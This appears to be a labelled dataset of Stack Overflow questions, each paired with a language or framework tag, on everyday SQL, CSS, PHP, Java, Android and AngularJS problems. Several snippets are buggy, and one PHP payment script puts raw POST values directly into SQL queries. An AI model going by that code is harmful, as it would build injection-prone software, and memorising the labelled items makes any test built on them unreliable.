how can i select two columns from a table and combine the values into one column  i have a table called tbl_products and i want to combine the columns start_date and end_date into one column named dates but have all the values from both columns be displayed on a seperate row. i have looked into concat but all that does is combine both columns together in a cell for each row.    sample data:   <pre><code>tbl_products.start_date ------------------------ 10/1/2011 10/2/2011 10/3/2011 10/4/2011  tbl_products.end_date ---------------------- 11/1/2011 11/2/2011 11/3/2011 11/4/2011 </code></pre>   then after their combined the result would be   <pre><code>tbl_products.dates ------------------- 10/1/2011 10/2/2011 10/3/2011 10/4/2011 11/1/2011 11/2/2011 11/3/2011 11/4/2011 </code></pre>   i ve looked all over online and cant find out how i can do this. any clue how,mysql
how can i put some space around td text   i have a demo  <a href= http://jsfiddle.net/ceflu/1/  rel= nofollow >here</a> how can i put some space around the texts in side the table  also why not the css class is working in the demo     css   <pre><code>.recomendationstable{ width:100%;overflow:hidden; } .recomendationstable tr{ border:#2f5882 1px solid; }  .recomendationstable tr th{ color :#ffffff; background-color: #93a8bf; } .recomendationstable tr .odd{ color :#ffffff; background-color: #8ea4bb; border:#2f5882 1px solid; } .recomendationstable tr .even{ color :#2f5882; background-color: #edf1f5; border:#2f5882 1px solid; } </code></pre>,css
java - complex decision table  currently have to create a decision table that is based on different objects that can each have different/multiple information.    example:   <pre><code>object a can be: ok / ko object b can be: ok / warning / ko object c can be: starting / running / ending </code></pre>   depending on a  b and c s status we get a different output. i currently on did lots of if statements and feel like it s very rookie-ish coding.    like-so:   <pre><code>if (c == started) {     if (a == ok) {         if (b == ok)             return  something ;         if (b == warning)             return  something else ;         else             return  something more ;     }   ... } </code></pre>   are there any known technics (using hasmaps or something already in java 8) that handles this types of issues in a proper way     thought of implementing a decision tree but my current if statements take about 30 lines and not sure if it d be wise to create a (bunch of) whole new class(es) to solve this.,java
rounding with specified custom range  i need a function that can round from a defined custom range...    for example:   <pre><code>0.01 - 0.39 = round to 0 0.40 - 0.74 = round to 0.5 0.75 - 0.99 = round to 1  if number is 2.33 it should show as 2.0 if number is 2.67 it should show as 2.5 if number is 2.89 it should show as 3.0 </code></pre>   i tried something but doesn t work at all...    code:   <pre><code>$range1 = range(0.01  0.39  0.01); $range2 = range(0.40  0.74  0.01); $range3 = range(0.75  0.99  0.01);  function round_range($num) {     global $range1  $range2  $range3;      if (in_array($num  $range1))         return round($num  0  php_round_half_down);     else if (in_array($num  $range2))         return round($num  0  php_round_half_down);     else if (in_array($num  $range3))         return round($num  0  php_round_half_down);     else         return  error ; }  echo round_range(0.35); </code></pre>,php
nsdictionary parsing howto  i have an nsdictionary that when printed looks like this   <pre><code>(         {          current_game  = 1;          fb_id  = 1;          game_status  = 1;     }          {          current_game  = 4;          fb_id  = 2;          game_status  = 1;     }          {          current_game  =   ;          fb_id  = 3;          game_status  =   ;     }          {          current_game  =   ;          fb_id  = 4;          game_status  =   ;\     } ) </code></pre>   when i loop it like   <pre><code>for (int i=0; i &lt; [responsedict count]; i++) {   } </code></pre>   how can i access fb_id = 1 for example <br> objectatindex:i doesn t seem to exist and there is no key there either.    thanks <br> tee,objective-c
how to delete string after some charecters in objective-c   i have a string <code>/uploads/images/mypic_123.png</code> now i want to get only image name like <code>mypic_123.png</code>.please tell me how to do it  i am using objective-c.,objective-c
i want to check a column value of a table is not equal to zero in php  <a href= https://i.stack.imgur.com/cgimm.png  rel= nofollow noreferrer >database table</a> i want to check a column value of a table is not equal to zero in php .but it gives error on column name  undefined index . please guide me what is problem with my code.my php code is given below   <pre><code>&lt; php  if($_server[ request_method ]== post ){      require_once( dbconnect.php );      $paydue=$_post[ paydue ];      $rid=$_post[ rid ];                  $cardid  = $_post[ cardid ];      $sq =  select * from bill where refid=  .$rid.   ;      $query=mysqli_query($con $sq);       $result=mysqli_fetch_row($query);       if($result[ paydue ] !=  0 ){           $sql =  select * from account where cardid=  .$cardid.   ;           $query1=mysqli_query($con $sql);            $result1=mysqli_fetch_row($query1);            $sql1= update account set balance = (balance - $paydue) where cardid= $cardid ; ;           if(mysqli_query($con $sql1)){                echo  payed successfully ;                $sql2= update bill set paydue = (paydue - $paydue) where refid= $rid ; ;                mysqli_query($con $sql2);           }else{                echo  could not payed try again ;           }       }else{            echo  your bill already payed ;       }        //closing connection        mysqli_close($con);  }   &gt;  </code></pre>,php
why if i create a trigger instead of update in sql server 2005  my table doesn t update   first i create a table with this script :    <pre><code> create table [dbo].[employee_demo] (     [emp_id] [bigint] identity (1  1) not null   [emp_name] [varchar] (55) collate sql_latin1_general_cp1_ci_as null   [emp_sal] [decimal](10  2) null      ) on [primary] </code></pre>   and then i create another table    <pre><code>create table [dbo].[employee_demo_audit] (  [emp_id] [int] null    [emp_name] [varchar] (55) collate sql_latin1_general_cp1_ci_as null    [emp_sal] [decimal](10  2) null    [audit_action] [varchar] (100) collate sql_latin1_general_cp1_ci_as null    [audit_timestamp] [datetime] null  ) on [primary] </code></pre>   after that i create an <code>instead of update</code> trigger on table <code>employee_demo</code>:   <pre><code>create trigger trginsteadofupdate on dbo.employee_demo instead of update as declare @emp_id int  @emp_name varchar(55)  @emp_sal decimal(10 2)  @audit_action varchar(100); select @emp_id=i.emp_id from inserted i; select @emp_name=i.emp_name from inserted i; select @emp_sal=i.emp_sal from inserted i;   if update (emp_sal) begin begin begin tran     if(@emp_sal&gt;=1000)     begin     raiserror( cannot insert where salary fewer then 1000  16 1); rollback; end     else begin     insert into employee_demo_audit(emp_id emp_name emp_sal audit_action audit_timestamp) values(@emp_id @emp_name @emp_sal @audit_action getdate());     commit;     print  record updated -- instead of update trigger. ; end; end end </code></pre>   i don t know why if i update table <code>employee_demo</code> with this script :   <pre><code>update employee_demo  set emp_name =  zhee   where emp_id = 1 </code></pre>   the name of <code>emp_id = 1</code> is doesn t change...    why,sql
activerecord two tables desc order records   i have declared has_many :rates in bboy.rb model. now i want to output all the records from bboys table matching criteria. which is: ordering bboy records in descending order based on how many stars they have received for dimension: foundation.    this is where i am at so far in my activerecord ordering query in desc order for dimension: foundation : @bboys_foundation = bboy.rates.where(dimension:  foundation ).     in bboys/index.html.erb:   <pre><code>&lt;ul class= dropdown-menu &gt;      &lt;li&gt;&lt;a href=  sort=foundation &gt;foundation&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href=  sort=originality &gt;originality&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href=  sort=dynamics &gt;dynamics&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href=  sort=execution &gt;execution&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href=  sort=battle &gt;battle&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href=  sort=votes &gt;votes&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt; </code></pre>   in bboys_controller index method:      <pre><code>if params[:sort].present      sort_input = [ foundation    originality    dynamics    execution    battle    votes ]     @foundation = if sort_input[0].include       end     @originality = if sort_input[1].include       end     @dynamics = if sort_input[2].include       end     @execution = if sort_input[3].include       end     @battle = if sort_input[4].include       end     @votes = if sort_input[5].include       end </code></pre>   db schema:   <pre><code>activerecord::schema.define(version: 20140331112614) do    create_table  bboys   force: true do |t|     t.string    name      t.string    crew      t.string    country      t.datetime  created_at      t.datetime  updated_at      t.string    avatar_file_name      t.string    avatar_content_type      t.integer   avatar_file_size      t.datetime  avatar_updated_at    end    create_table  rates   force: true do |t|     t.integer   rater_id      t.integer   rateable_id      t.string    rateable_type      t.float     stars           null: false     t.string    dimension      t.datetime  created_at      t.datetime  updated_at    end </code></pre>,ruby-on-rails
application is not installed  i test my application in android phone. it s a unsigned application export from eclipse. when i installed the application in phone it s shows user permisson messages. then finally i got a message application not installed. here my mainfest code   <pre><code>&lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= org.z_enterprise.praywithme      android:versioncode= 1      android:versionname= 1.0       android:installlocation= preferexternal  &gt;      &lt;uses-sdk android:minsdkversion= 2  /&gt;      &lt;uses-permission android:name= android.permission.internet  /&gt;     &lt;application         android:icon= @drawable/appicon          android:label= @string/app_name  &gt;         &lt;activity             android:name= .main              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                  &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;         &lt;activity             android:name= .about              android:label= @string/app_name  &gt;         &lt;/activity&gt;               &lt;activity             android:name= .favour              android:label= @string/app_name  &gt;         &lt;/activity&gt; &lt;/application&gt;  &lt;/manifest&gt; </code></pre>,android
how to check radio button angular js   how to check radio button  i need that if <code>$type ==  1 </code> check input and set value = <code>1</code>    i tried:    <strong>first input:</strong>   <pre><code>&lt;input type= radio          name= sex[]          ng-init= formdata.sex =  &lt; =($type ==  1     1  : null) &gt;          ng-model= formdata.sex           required&gt; </code></pre>   <strong>second input:</strong>   <pre><code>   &lt;input type= radio              name= sex[]              ng-init= formdata.sex =  &lt; =($type ==  2     2  : null) &gt;              ng-model= formdata.sex               required&gt; </code></pre>   when i submit form i see that <code>formdata.sex = true</code>  so angular js gets value from second input howether is selected first  because condition <code>$type ==  1 </code> is true.,angularjs
dynamically allocating arrays depending on user input in c++  im watching this tutorial on youtube <a href= https://www.youtube.com/watch v=8xaqzcjvohk  rel= nofollow >https://www.youtube.com/watch v=8xaqzcjvohk</a> dynamically allocating arrays depending on user input in c++    this is his code   <pre><code>1 int main() 2 { 3   int *pointer = nullptr; 4    5   cout &lt;&lt;  how many items u are gonna enter  &lt;&lt; endl; 6   int input; 7   cin &gt;&gt; input; 8 9   pointer = new int[input]; 10 11  int temp; 12 13  for (int counter = 0; counter &lt; input; counter++) { 14      cout &lt;&lt;  enter the item   &lt;&lt; counter + 1 &lt;&lt; endl; 15      cin &gt;&gt; temp; 16      *(pointer + counter) = temp; 17  } 18 19  cout &lt;&lt;  the items you have entered are  &lt;&lt; endl; 20  for (int counter = 0; counter &lt; input; counter++) { 21      cout &lt;&lt; counter + 1 &lt;&lt;    item is    &lt;&lt; *(pointer + counter) &lt;&lt; endl; 22  } 23 24  delete[]pointer; 25 26  return 0; 27} </code></pre>   im stuck in line 16  i dont understand why is that  inside the ()  the pointer variable and counter are added to each other,c++
glossy white background for my website  i am trying to set my website s background color to a glossy white background  the same look and feel of linkedin s or most new generation website s background color. i tried to set <code>background-color: #fff;</code> in my css file but the background color still looks very dull white.    is there any way that i can make the background color smooth and glossy white,css
my css edits don t take effect  i don t have any optimisation plugin installed and cache off  i clear cache after the css edits but nothing happens  the original code works great  but when i edit a color the browser brings back the old code... this is the code in my template.css right now!   <pre><code>a {   color:#0c42ce;   text-decoration:none; } </code></pre>   and this is the browsers code right now   <pre><code>color: #7ae; text-decoration: none; </code></pre>   fixed it was a permission issue..facepalm,css
list of all columns from syscolumns for a particular table along with the isprimarykey column in sys.indexes table  i am trying to get the list of all the columns for a particular table along with the datatype and the is_primary_key column from sys.indexes table. but i am not able to get the is_primary_key column correctly. i want the is_primary_key to be set to 1 only for the column which is the primary key of the table.this is set to 1 for all the columns     below is the query which i am using    <pre><code>select distinct c.name c.system_type_id is_primary_key from sys.columns c     inner join  sys.tables t on c.object_id=t.object_id    inner join sys.index_columns ic on ic.column_id=c.column_id     inner join sys.indexes i on i.index_id=ic.index_id    and t.name= comp  and i.is_primary_key=1 </code></pre>,sql
java custom exception throw behaves differently between different projects  i am attempting to call the following in my code:   <pre><code> public void checkparticlelightrestriction(particle parent) throws lightexception {  if ( parent == null ) {       throw new lightexception( quantum-particle-restrict.23   this);     } </code></pre>   in one project the exception is thrown and the effect is similar to calling  return  whereby i am returned back to the point immediately succeeding where this method was called.     however in another project i get thrown completed out of the current package and to a point way prior to the point preceeding this method.    it likes instead of being kicked out of a bar i am being deported all the way out of the country.    my option are the wrap the throw in a try / catch but i am wondering why this difference in behaviour beween the 2 projects      <strong>09 may 2009</strong> i ve been playing with your suggestions but i still haven t solved this. the call to throw the custom exception simply does not appear to be called in this particular project whether the exception class extends runtimeexception or just exception.   <pre><code>public class lightexception extends exception {      ...etc      public lightexception(string errorcode  object object) {          super(errorcode == null   null : errorstrings.getstring(errorcode));         this.errorcode = errorcode;         this.invalidobject = object;     }      public lightexception(string errorcode  object object  exception exception) {         this(errorcode  object);         add(exception);     }      ... } </code></pre>   any ideas appreciated.,java
"css - immediate 1st tr 2nd td not working  i m not sure why below is not working.  i m trying to apply <code>color:red</code> style on the <code>outer table</code> s first <code>tr</code> and second <code>td</code>.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>table 
 tr 
 td {
   border: 1px black solid;
 }
 
 #outertable&gt;tr:first-child&gt;td:nth-child(2) {
   color: red;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table id= outertable &gt;
   &lt;tr&gt;
     &lt;td&gt;
       outer table 1st tr 1st td
       &lt;table&gt;
         &lt;tr&gt;
           &lt;td&gt;
             inner table 1st tr 1st td
           &lt;/td&gt;
           &lt;td&gt;
             inner table 1tr 2nd td
           &lt;/td&gt;
         &lt;/tr&gt;
       &lt;/table&gt;
     &lt;/td&gt;
     &lt;td&gt;
       outer table 1st tr 2nd td -- only want this red
     &lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>",css
two-way binding in angular not updating  i have created a plnkr which demonstrates a problem that i am trying to solve.  when you click the link in the plnkr  you will see a textfield. this textfield is bound with ng-model to myctrl.foo  and in that controller is a $watch looking at the controller s foo property and then setting $scope.num to a random number. you will notice the random number never changes even though the watcher is clearly firing (via a console.log).    <a href= http://plnkr.co/edit/wpfpferc6cffjloa9qqw  rel= nofollow >http://plnkr.co/edit/wpfpferc6cffjloa9qqw</a>    can anyone explain why this is not working  and what i can do to fix it,angularjs
is there an inverse function for time.gmtime() that parses a utc tuple to seconds since the epoch   python s time module seems a little haphazard.  for example  here is a list of methods in there  from the docstring:   <pre><code>time() -- return current time in seconds since the epoch as a float clock() -- return cpu time since process start as a float sleep() -- delay for a number of seconds given as a float gmtime() -- convert seconds since epoch to utc tuple localtime() -- convert seconds since epoch to local time tuple asctime() -- convert time tuple to string ctime() -- convert time in seconds to string mktime() -- convert local time tuple to seconds since epoch strftime() -- convert time tuple to string according to format specification strptime() -- parse string to time tuple according to format specification tzset() -- change the local timezone </code></pre>   looking at localtime() and its inverse mktime()  why is there no inverse for gmtime()      bonus questions: what would you name the method   how would you implement it,python
inside div element find out mouse position   i done one concept of  program is find out mouse coordinate position inside div element ... its perfectly working in ie browser only but i cant get answer in mozilla firefox... what is the reason              <pre><code> &lt;!doctype html public  -//w3c//dtd html 4.0 transitional//en    http://www.w3.org/tr/html4/loose.dtd &gt;  &lt;html&gt; &lt;head&gt; &lt;title&gt;cursor position status display&lt;/title&gt; &lt;script type= text/javascript &gt;   function getxoffset(e){ if(typeof e.offsetx !=  undefined )   return e.offsetx;  else if(typeof e.pagex !=  undefined )   return e.pagex - e.target.offsetleft; }  function getyoffset(e){  if(typeof e.offsety !=  undefined )   return e.offsety;    else if(typeof e.pagey !=  undefined )   return e.pagey - e.target.offsettop; }  function displayoffsets(e){ e = (e)   e : window.event; window.status =  x:  +getxoffset(e)+    y:  +getyoffset(e);  }   &lt;/script&gt;  &lt;/head&gt;  &lt;body&gt;   &lt;div style= width:100px; height:300px;margin:50px 0 0 500px;border:1px solid red;  &gt;   &lt;div onmousemove= displayoffsets(event)  style= width:50px; height:300px;     background:#669966; &gt;&lt;/div&gt;   &lt;div &gt;   &lt;/body&gt;    &lt;/html&gt; </code></pre>,javascript
find successive maximum differences in array  i have created an application in which the user continually rotates the phone about the z-axis (yaw) with the screen of the phone facing upwards.  i would like to generate the angle between the two extremes each time the rotation changes direction.    imagine an array of the following values: [-5 -3 -2  0  1  2  6  5  3  2 -1 -3 -4 -7 -4 -3 ...].  what i would like to do is find the relative maximums and minimums of the array in order to find the differences from one relative minimum to the next relative maximum.  in the given array  -5 would be the first relative minimum and then 6 would be the next relative maximum.  the difference here would be 11 units.  from that relative maximum of 6  the next relative minimum is -7.  the difference here would be 13 units.  the process would continue on until the end of the array.  i would like these difference values to be entered into an array of their own  i.e. [11 13 ...].  would greatly appreciate any assistance!,ios
how to calculate percentage in my program  i have written a program which is basically a survey  and reads responses which the user responds too. at the end of my program  i want it to print the percentage of statements that had long responses. i have declared statements that are longer than 5 seconds to be long responses  and have made an alarm signal which identifies when that happens. here is my code so far:   <pre><code> int count = 0; int num; float per; int main() {     num = 0;     per = (count/num) *100;     printf( percent: %f   per ); } </code></pre>,c
objective c - app delegate - type casting  i got the below code from a code sample. can you let me know as per objective c  is this just type casting an appdelegate object which is already in session (or) creating a fresh uiapplication delegate object    sorry  this is a basic question since am new to objective c but still i just want to make it clear before i proceed.   <pre><code>appdelegate *delegate = (appdelegate *)[[uiapplication sharedapplication] delegate]; </code></pre>,objective-c
why does c not have an snwprintf function   does anyone know why there is no <code>snwprintf</code> function in the c standard library     i am aware of <code>swprintf</code>  but that doesn t have the same semantics of a true  <code>wchar_t</code> version of <code>snprintf</code>.  as far as i can tell  there is no easy way to implement an <code>snwprintf</code> function using <code>[v]swprintf</code>:    unlike <code>snprintf</code>  <code>swprintf</code> does not return the necessary buffer size; if the supplied buffer is insufficient  it simply returns -1.  this is indistinguishable from failure due to encoding errors  so i can t keep retrying with progressively larger buffers hoping that it eventually will succeed.    i suppose i could set the last element of the buffer to be non-nul  call <code>swprintf</code>  and assume that truncation occurred if that element is nul afterward.  however  is that guaranteed to work   the standard does not specify what state the buffer should be in if <code>swprintf</code> fails. (in contrast  <code>snprintf</code> describes which characters are written and which are discarded.),c
php interprets string  cash  as zero  this is crazy. i ran across this in an app i was writing. the following code will echo  yes :   <pre><code>&lt; php $var = 0; if ($var ==  cash ) echo  yes ; else echo  weird ;  &gt; </code></pre>   why    how is zero interpretted to be equal to  cash,php
use only parameters with specific value in if statement  this is a little bit of a weird question  but this has me stumped for some reason. i have the below extension function which receives 4 string parameters which will contain one of 3 values ( match    no match    empty ). within the function i have an if statement in which i need the condition to contain only the parameters that contain value  match .   <pre><code>public static void addifnotnullandinadvancedsearch(     this list&lt;treedocument&gt; docs       treedocument value       string studytitlecontainsshearch       string outputtitlecontainssearch       string datasetnamecontainssearch       string templatenamecontainssearch) {     if (value.path != null &amp;&amp;          (studytitlecontainsshearch ==  match  &amp;&amp;           outputtitlecontainssearch ==  match  &amp;&amp;           datasetnamecontainssearch ==  match  &amp;&amp;           templatenamecontainssearch ==  match ))      {          docs.add(value);      } } </code></pre>   with my code above  if for example studytitlecontainsshearch is  empty   then the if statement resolves to false. however  in this scenario i only want to have the remaining 3 parameters in the statement and not ones that contain  empty  or  no match . so if only two parameters contain  match   i want to have only those in the if statement.    i am probably missing a really obvious solution to this so apologies in advance.,c#
what are the ways to model multivalued m : n relationship   i am working on the project that requires multivalued m : n relationship.    for eg.  there is a list of products in the <code>products</code> table. the user can purchase 1 or more products and are maintained in the table <code>orders</code>. along with this information  there is one more table that maintains analytical information.     this table should contain the hard coded data like. if the order contains product 1 and product 2 then does product 3 and product 4 also appeared in the user s order. these are basically hard coded rules   <pre><code>actual products | expected products 1 3             | 2 4 5 6 7 8         | 3 4 </code></pre>   now from these tables  i need to find information like if user s order number 1 had products like 1 and 3 then return 2 and 4.    i need suggestions as to how to describe this multivalued m to n relationship. if there are any other options other than rdbms feel free to suggest. thanks,mysql
how can i test for an object being null inside a {{ }} in angularjs   i have the following code in my html page:   <pre><code>xx {{ option.selectedtopic }} yy {{ (option.selectedtopic == null) }} zz </code></pre>   when i run my application i get the following output:   <pre><code>xx null yy false zz </code></pre>   i tried removing the paranethesis around the test but it still gives me the same. is there something i am missing,angularjs
returning items in a date range in sql  i want to return a row for every month in a range specified- what i m having trouble with is- that if i do not have a row there is nothing returned; what i was want is the month name to  be returned and winner_id to be null    my query so far.   <pre><code>select monthname(dated) as month  winner_id from competitions where dated &gt;  2012-01-01  </code></pre>   what i want my output to look like is   <pre><code>month     winner_id ------------------- january   null february  2654 march     19864 april     null </code></pre>   the problem is i do not have a row for january or april in the db- but i still want a month returned     should i do the months in php and do individual queries for each month,mysql
moving business layer from one place to another and getting all dll references  i have a net (episerver) solution with many projects. in my presentation project i have a folder (business) that contains all business layer classes that needs to interact with the presentation layer  which is why i have placed this business layer inside the presentation layer.  however i would like to move this business folder inside its own project. that is i want to create a new class project which i will name  projectname.business .     however the files in the business-folder contains many dll references. i would like to know whether there is an easy way to get all the dll references with me when moving the business-folder to its own project  so that i dont have to reinstall all dll s and their correct version in the new business project.      thanks,asp.net
how to fix casting error   when i complile the code    <pre><code>class customer { order getorder; public ienumerable&lt;order&gt; myorders {     get { return getorder; }     set{getorder=value;}  } }  class order:ienumerable&lt;order&gt; {     string itemname;      public string itemname     {         get { return itemname; }         set { itemname = value; }     }     public ienumerator&lt;order&gt; getenumerator()     {         return (ienumerator)this.getenumerator();     }   ienumerator ienumerable.getenumerator(  )        {                                                   return this.getenumerator ();   } } </code></pre>   i receive  cannot implicitly convert type  system.collections.generic.ienumerable  to  order     how to fix it,c#
convert a list `[1  2  3]` to a string  {1  2  3}  in javascript  i need to convert lists like <code>[1  3  2]</code> or <code>[1 3]</code> or <code>[1 4 5]</code> to strings of the form <code> {1  3  2} </code>  <code> {1  3} </code> <code> {1  4  5} </code>.    i can think of a couple of ways to do this  but not an elegant one. i was wondering how you would solve this. is there elegant solution possible,javascript
use of javascript for validation in each wizard step of an wizard control in asp.net  hi can anyone suggest how to implement javascript for validation in an each wizard steps of wizard control of asp.net.    thank in advance!!,asp.net
sql query get substring <pre><code>row values: automation &gt; consumables &gt; ladle cup 2 kg &gt; i need output:automation  i need first &gt; inside values  row values: consumables &gt; automation &gt; ladle cup 2 kg &gt; i need output:`enter code here`consumables  i need first &gt; inside values </code></pre>,sql
efficiently query tables when one has many references  i have two tables: class and instructors.   <pre><code>class id: int title: varchar(45)  instructor id: int class_id: int name: varchar(45) </code></pre>   let s say there are two instructors that are associated with one class:   <pre><code>insert into `class` values(1   class number 1 ); insert into `instructor` values (1  1   john smith ); insert into `instructor` values (2  1   jane smith ); </code></pre>   how do i go about querying a list of classes with instructor names  there were two ways i thought about querying and was hoping for a more efficient method.   <ol> <li> query once every class    select * from <code>class</code>; select * from <code>instructor</code> where class_id= ; </li> <li> query them together with the same class in multiple rows    select * from <code>class</code> c  <code>instructor</code> i  where <code>c</code>.<code>id</code> = <code>i</code>.<code>class_id</code> group by <code>c</code>.<code>id</code>; </li> </ol>   what i was hoping for way an output of the class list with instructors separated by a comma.,mysql
understanding abstract superclass nsnumber  i am reading some book about <code>objective c</code>  and they say there that <code>nsnumber</code> is an <code>abstract</code> <code>superclass</code> of many <code>subclasses</code> that we can use .    so   when we call a method in <code>nsnumber</code>  the appropriate subclass is used  .    this is not going with some other rule that i know :    if <code>superclass a</code>  has <code>subclass b</code>   and you calling a method in the <strong>super class a</strong>   that is in the <strong>subclass b</strong>  you can t do that- because inheritance is working all the way up and not down.    so  how is that the <code>superclass (abstract) class- nsnumber</code>  is using its <code>subclass</code> methods       what is the hierarchy here      thanks .,objective-c
sql query the last row of referenced user id  i got the table having user id with reference previous referenced id inside table as below.     how could query the earliest reference id with result of its date      <pre><code>user id     previous id date 9990002939  9990000321  apr-08 9990000321  9990000021  apr-04 9990000021  9990000015  jun-02 9990000015              may-00 </code></pre>   if provided id is 9990002939 ->  query result should be  9990000015              may-00,sql
effect of change of orientation on fragments  are <code>fragments</code> destroyed and recreated on orientation change (e.g. screen rotation) just like <code>activity</code>s,android
why position fixed div goes to outside of the main container   given below the fixed div css:   <pre><code>.top-container { position: fixed; width: 100%; z-index: 999; } </code></pre>   when i zoom out my screen  this div breaks the main container at the right side but left side is okay. check below screenshot for better understanding.    <img src= https://i.stack.imgur.com/zhbhc.jpg  alt= enter image description here >,css
hosting error in asp.net  server error in  /  application.    runtime error    description: an application error occurred on the server. the current custom error settings for this application prevent the details of the application error from being viewed remotely (for security reasons). it could  however  be viewed by browsers running on the local server machine.     details: to enable the details of this specific error message to be viewable on remote machines  please create a  tag within a  web.config  configuration file located in the root directory of the current web application. this  tag should then have its  mode  attribute set to  off .                              notes: the current error page you are seeing can be replaced by a custom error page by modifying the  defaultredirect  attribute of the application s  configuration tag to point to a custom error page url.                              pls help me..............,asp.net
how can i separate out each bit from a byte   i m very new to c# (and c in general for that matter) i m getting a byte value returned from an external source that represents the states of 8 input pins on the port of an io device so i get a value of 0-255 representing the binary pattern present on the port.    how can i strip out the individual bits and set them as bool vars  so doing something like this:   <pre><code>if (inputbuffer[1] == 1) {      io.input0 = true;      io.input1 = false;      io.input2 = false;      io.input3 = false;      io.input4 = false;      io.input5 = false;      io.input6 = false;      io.input7 = false; }     </code></pre>   i m probably overexplaining what i m trying to achieve but thought this gives the best example although highly impractical  how can i better achieve this to set the variables based on a byte value of 0-255.,c#
how to move android project to another pc   i want to move my android studio project to another pc but when im moving files from pc one to pc two and i m trying to run the same app it s not launching and asking to remove old(the same package) app  but i want to save app signature how can i do it  for example i want to work at home  after i m going to work and continue my project at work is it possible and how  and yes  sorry for my bad english...    <a href= https://i.stack.imgur.com/mko1j.png  rel= nofollow noreferrer >image</a>,android
using html pages to navigate documents on shared drive  i do not have any experience with web development  so i d really appreciate an advice on the following issue:  a team of about 10 users currently has lost of documentation (mainly ms office files and pdfs) on a shared drive  organized into folders. they want to keep it there  but at the same time want to have some very simple system that would allow them to navigate documentation in a more efficient manner. they cannot install any s/w on that computer.  would a few simple html files on the same shared drive  with some links to each other and links to relevant documents in each work   the issue is that  as i mentioned i do not have any experience  so i do not know what possible problems may appear if we just create these pages  put them on that shared drive and share link to the main page with everyone in the office. so  comments/suggestions will be greatly appreciated,html
having trouble updating the scope of my modal after it has been created  i have created a modal window that appears after a user enters data into the form. the modal window  by default  has a loading icon that i want to disappear and be replaced with results that are returned from my service. the issue is that once i create the modal window i cannot update the scope in the modal to display the returned results.    <strong>searchcustomers.js</strong>   <pre><code>$app.directive( searchcustomers   function (customerservice  $modal) {     return function (scope  element  attrs) {         element.bind( keyup   function (event) {             if(event.keycode ==  9 ) {                 if(object.keys(scope.customer).length &gt;= 3){                     console.log( find the customers );                      var modalinstance = $modal.open({                         templateurl:  loading.html                           controller:  modalinstancecontroller                      });                      modalinstance.result.then(function(){                         scope.data = customerservice.findall();                     })                  }                  event.preventdefault();             }         });     }; }); </code></pre>   <strong>customers form</strong>   <pre><code>&lt;div class= row &gt;                         &lt;div class= col-md-6 &gt;                             &lt;div class= form-group form-group-default required &gt;                                 &lt;label&gt;title&lt;/label&gt;                                 &lt;input type= text  class= form-control  required=   ng-model= customer.title  search-customers=  &gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                     &lt;div class= row &gt;                         &lt;div class= col-md-6 &gt;                             &lt;div class= form-group form-group-default required &gt;                                 &lt;label&gt;first name&lt;/label&gt;                                 &lt;input type= text  class= form-control  required=   ng-model= customer.firstname  search-customers=  &gt;                             &lt;/div&gt;                         &lt;/div&gt;                         &lt;div class= col-md-6 &gt;                             &lt;div class= form-group form-group-default required &gt;                                 &lt;label&gt;surname&lt;/label&gt;                                 &lt;input type= text  class= form-control  required=   ng-model= customer.surname  search-customers=  &gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                     &lt;div class= row &gt;                         &lt;div class= col-md-6 &gt;                             &lt;div class= form-group form-group-default required &gt;                                 &lt;label&gt;company name&lt;/label&gt;                                 &lt;input type= text  class= form-control  required=   ng-model= customer.company  search-customers=  &gt;                             &lt;/div&gt;                         &lt;/div&gt;                         &lt;div class= col-md-6 &gt;                             &lt;div class= form-group form-group-default required &gt;                                 &lt;label&gt;d.o.b&lt;/label&gt;                                 &lt;input type= text  class= form-control  required=   ng-model= customer.dob &gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt; </code></pre>   <strong>modalinstancecontroller.js</strong>   <pre><code>$app.controller( modalinstancecontroller   function ($scope  $modalinstance) {      $scope.title =  title here ;     $scope.message =   ;     $scope.data =   ;      $scope.ok = function () {         $modalinstance.close();     };      $scope.cancel = function () {         $modalinstance.dismiss( cancel );     }; }); </code></pre>   <strong>loading.html</strong>   <pre><code>&lt;div class= modal-header &gt;         &lt;h3 class= modal-title &gt;{{title}}&lt;/h3&gt;     &lt;/div&gt;     &lt;div class= modal-body &gt;         &lt;div class= text-center &gt;             &lt;div class= progress-circle-indeterminate m-t-45 &gt;&lt;/div&gt;                  &lt;div class= small-text &gt;{{ data }}&lt;/div&gt;          &lt;/div&gt;     &lt;/div&gt;     &lt;div class= modal-footer &gt;     &lt;/div&gt; </code></pre>,angularjs
.sln file contains information in xml or in code (like vb)   i am reading <strong>developing web applications with .net frame work 4.0</strong> book (70-515). in that i found one sentence that at page number 21 <strong>a solution file is an xml file that contains information...</strong> after i read this sentence i opened the .sln file in note pad. but strangely i didn t find any xml over there. it contains some code which is some what similar to vb code. even i referred to <a href= http://msdn.microsoft.com/en-us/library/bb165951%28v=vs.80%29.aspx  rel= nofollow >microsoft</a> link  there are no mentioning it is xml file. is that sentence is wrong in that book  please any one clarify me!,asp.net
